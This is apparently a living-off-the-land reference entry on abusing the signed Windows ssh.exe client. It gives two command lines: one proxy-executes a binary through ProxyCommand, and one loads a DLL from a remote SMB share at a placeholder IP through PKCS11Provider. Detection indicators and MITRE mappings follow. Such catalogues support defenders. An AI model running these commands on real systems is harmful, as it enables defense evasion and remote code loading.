ssh.exe

The in-box OpenSSH client (Windows 10 1809+) runs the string given in ProxyCommand/LocalCommand through the shell before it ever connects, giving indirect command execution under a signed binary. The PKCS11Provider option loads and executes an attacker DLL (DllMain / C_GetFunctionList) from a remote SMB share.

Use Proxy-execute a command or side-load a DLL from a signed, trusted SSH client for defense evasion.

ssh.exe -o ProxyCommand="C:\Windows\Temp\x.exe" .
ssh.exe -o PKCS11Provider="\\10.10.10.10\Temp\x.dll" user@test.local

Context

user

Native

Execute

MITRE

T1202T1218

Detection

Detection: ssh.exe with ProxyCommand/LocalCommand/PKCS11Provider on the command line; ssh.exe spawning cmd.exe/powershell.exe; ssh.exe loading a non-standard DLL from a UNC path; ssh.exe run with no legitimate remote host.

Verified

✓ LOLBAS Ssh.yml quotes `ssh -o ProxyCommand="{CMD}" .` and `ssh -o PKCS11Provider="\\...\example.dll"` (DLL from SMB share), MitreID T1202; match. NOTE: secondary T1218 tag flagged in suspect — the PKCS11 DLL load maps better to T1574.002/T1129.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ssh.yml

attack.mitre.org/techniques/T1202/